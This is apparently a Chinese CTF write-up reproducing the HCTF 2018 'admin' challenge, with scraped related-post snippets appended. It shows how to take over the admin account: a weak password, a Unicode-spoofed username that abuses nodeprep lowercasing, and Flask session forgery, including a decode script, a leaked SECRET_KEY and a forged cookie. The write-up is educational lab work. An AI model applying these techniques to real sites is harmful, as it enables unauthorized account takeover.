前言:

最近在BUUCTF刷题,参照师傅们wp后复现一下

0x01

拿到题目后进去如下界面

发现有登录和注册界面,相比是要登录后才能查看想要的信息。

查看页面源代码,看看有没有上面提示,界面如下

提示你不是admin,到这里基本上主要的方向已经有了,就是要以admin用户登录进去,才能查看到flag

0x02

一,弱密码

首先尝试了一下弱密码爆破,结果成功进入,密码是123,然后成功看到flag

二,Unicode欺骗

假设我们不知道admin密码,或者是比较复杂的密码,然后我们注册一个用户,登录进去,发现页面如下

post页面是发表内容的

本来猜测会不会有注入,结果我发表内容后也没看哪里有回显,所以注入这块是不可能了,查看源码也没有得到提示信息

还有一个change password页面,查看源码,得到如下提示

发现题目源码,在change中发现,当修改密码的时候会判断用户名,将用户名转换为小写

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name']) #这里将用户名转换为小写
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

同样,在注册页面源代码中也发现同样的小写函数调用

def register():

    if current_user.is_authenticated:
return redirect(url_for('index')) form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data) #将注册提交的用户名小写
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

登录页面也有转换小写调用

def login():
if current_user.is_authenticated:
return redirect(url_for('index')) form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data) #提交的数据转换为小写
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

但是这里用的转小写函数不是python自带的lower函数,而是strlower函数,看来是作者自定义的函数,那么我们看看这个函数的代码

def strlower(username):
username = nodeprep.prepare(username)
return username

使用的是 nodeprep.prepare函数,这个函数是用Twisted模块导入,而且查看项目时发现这个项目的Twisted版本相对于当时题目发布的时间是落后的,直接尝试进行unicode编码转换小写

其实使用nodeprep.prepare函数转换的过程就是下面这个过程

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

所以我们可以注册一个ᴬᴰᴹᴵᴺ 用户,然后在登录界面的时候用了一次nodeprep.prepare函数,然后进去后界面就显示我们是ADMIN用户,然后在修改密码界面修改密码的时候,ADMIN就变成了admin,最后我们就成了修改admin的密码,然后登录admin用户

修改密码,使用修改后的密码登录admin

参考链接:http://sunsec.top/2018/11/15/HCTF admin/

三,flask session伪造

登录的时候通过抓包发现,登录的用户是有session的,那么就很自然联想到能否伪造admin的session从而登录admin的用户呢?那么前提就是要先知道flask的session是如何形成的

flask的session机制:https://cizixs.com/2017/03/08/flask-insight-session/

flask的session是储存再客户端中,那么就可以进行读取进而进行伪造

客户端session安全问题:https://www.leavesongs.com/PENETRATION/client-session-security.html

下面使用脚本将session进行解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1) decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception') if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密结果如下

{'_fresh': True, '_id': b'71223133265323aadf8c1c2c8765fac0fe6eb23d3bfc3f5c72505321e222db2f8790d1d95f042f4f756cd52028787088cc8ae621d2331c49812fc47adce67341', 'csrf_token': b'75d655b165c0f29feb01dc2a5a95275eb84e506e', 'image': b'OsZa', 'name': 'admin', 'user_id': '1'}

如果要伪造session需要知道SECRET_KEY,这个我们可以再项目源码中找到,再config.py中

import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

利用flask_session加密脚本进行伪造

伪造的session:

.eJxNkEFrwkAUhP9KeWcPNdGL4KGyMUR4Lygxy76LpBqTvGQtREWz4n_vVkrpYU7DDN_MA3bHvjzXMLv013IEu-YAswe8fcIMyEUDCt7R4UCydShUG72xaYx341aSqn1AmmvjFpYz7owkjhU1bNGx5EIuGaP6yS07lGTg2EuqMM0WLer1lLS5kVpZik1IGQur7YAqmZCrQlTVxAQ4MXob-HzrORxqfE-z6o6WhdSh5pg6kr0jFc3hOYL9uT_uLl9tefo3IW89-thI5FHxxpJM2eYNqmXrJ9SkoyllSUg6b1K16Sj7CHg9f9U1tqjKv6YspML8OqfCegOKg21OMILruexfv8EYnt-QEm3c.Xwkyxg.m6cjsP-TbdXQ8gv9HanF8pE_oGU

然后登录时候修改session,即可显示flag

四,条件竞争

这个主要就是因为再session赋值的时候都是直接进行赋值,而并没有进行验证,也就是说,比如我们随便注册个用户123,然后进程1再使用用户123重复的进行登录,改密码操作,进程2重复进行注销登录,同时用admin用户和进程2修改的密码进行登录,然后某个时刻进程1刚好要修改密码,进程2恰好要登录,就将进程2 admin的session给了进程1,从而改掉了admin的密码

参考链接:https://www.anquanke.com/post/id/164086#h3-13

这里用了师傅们的脚本,但都没有成功,没找到原因,可能是脚本的编写还有些偏差,或者后期复现环境于当时比赛环境也有误差

0x03

复现这道题还是学到了很多新的知识,比如对于Unicode的欺骗这次又掌握的更多了,同样的内容,不同的编码形式却能绕过代码检测,很厉害,再者就是session伪造,对于flask的session伪造有了更加充分的一些认识,但是条件竞争是官方wp给出的其中一个解题方法,很遗憾没有复现成功,但是还是学到了一些知识。

[HCTF 2018]admin的更多相关文章

  1. BUUCTF | [HCTF 2018]admin

    首先爬一遍整个网站,发现有没注册的时候有“login”,"register",这两个页面,注册一个123用户登录后发现有 "index“,”post“,”logout“, ...

  2. [HCTF 2018]admin wp

    首先打开页面,查看源码 you are not admin考虑是否为需要登录 后发现右上方有个登录 考虑密码爆破,用户名为admin,密码未知 摔进burpsuite后爆破 后得到密码为123 登录得 ...

  3. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  4. 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

    攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...

  5. BUUCTF-[HCTF 2018]admin(Unicode欺骗&伪造session)

    目录 方法一:Unicode欺骗 方法二:伪造session 参考文章 记一道flask下session伪造的题. 方法一:Unicode欺骗 拿到题目f12提示you are not admin,显 ...

  6. [HCTF 2018]WarmUp

    靶场首页 打开靶场后,查看源码即可看到<!--source.php--> 打开source.php页面 代码如下 <?php     highlight_file(__FILE__) ...

  7. [BUUOJ记录] [HCTF 2018]WarmUp

    BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...

  8. 刷题[HCTF 2018]WarmUp

    解题思路 进入页面之后,一个大大的滑稽. 查看源码 查看源码发现有source.php .打开 发现还有一个hint.php.打开发现 由此可知是代码审计了 解题 代码审计 先看此段代码,大致意思是. ...

  9. warmup(HCTF 2018)

    为啥想写这道题的wp呢,因为这道题就是照着phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)复现出来的 题目 查看源码很容易找到source.php,直接访问 分析 题 ...

随机推荐

  1. wget下载网盘等需要cookie的文件的方法

    在浏览器(Chrome.Firefox等)上安装插件cookies 然后进入该网页,导出cookies.txt 使用命令下载: wget -c --load-cookies=cookies.txt & ...

  2. Quartz.Net系列(四):Quartz五大构件(Scheduler,Job,Trigger,ThreadPool、JobStore)之ThreadPool、JobStore解析

    整体示意图: 1.DefaultThreadPool 如果不存在PropertyThreadPoolType,那么就使用DefaultThreadPool var threadPoolTypeStri ...

  3. java并发编程 --并发问题的根源及主要解决方法

    目录 并发问题的根源在哪 缓存导致的可见性 线程切换带来的原子性 编译器优化带来的有序性 主要解决办法 避免共享 Immutability(不变性) 管程及其他工具 并发问题的根源在哪 首先,我们要知 ...

  4. ABP (.Net Core 3.1版本) 使用MySQL数据库迁移启动模板项目(1)

    最近要搭建新项目,因为还没有用过.net core,所以想用.net core的环境搭建新项目,因为不熟悉.net core的架构,所以就下载了abp项目先了解一下. 因为自己太菜了,下载了模板项目, ...

  5. [bzoj1690] [Usaco2007 Dec] 奶牛的旅行 (最大比率环)

    题目 作为对奶牛们辛勤工作的回报,Farmer John决定带她们去附近的大城市玩一天.旅行的前夜,奶牛们在兴奋地讨论如何最好地享受这难得的闲暇. 很幸运地,奶牛们找到了一张详细的城市地图,上面标注了 ...

  6. 【K8s学习笔记】K8s是如何部署应用的?

    本文内容 本文致力于介绍K8s一些基础概念与串联部署应用的主体流程,使用Minikube实操 基础架构概念回顾 温故而知新,上一节[K8S学习笔记]初识K8S 及架构组件 我们学习了K8s的发展历史. ...

  7. WeChair项目Alpha冲刺(8/10)

    团队项目进行情况 1.昨日进展    Alpha冲刺第八天 昨日进展: 前端:安排页面美化,设计实名认证 后端:用户信息通过dao层存储数据库 数据库:修改数据表属性,与后端部署数据库交互 2.今日安 ...

  8. JAVA相关基础知识

    JAVA相关基础知识 1.面向对象的特征有哪些方面 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面.抽象并不打算了解全部问题,而只是选择其中的一部分, ...

  9. 在Ubuntu上实现人脸识别登录

    安装Howdy: howdy项目地址 sudo add-apt-repository ppa:boltgolt/howdy sudo apt update sudo apt install howdy ...

  10. python+opencv图像增强——拉普拉斯

    img = cv2.imread(r'F:\python\work\cv_learn\clipboard.png',1) cv2.imshow('input',img) kernel = np.arr ...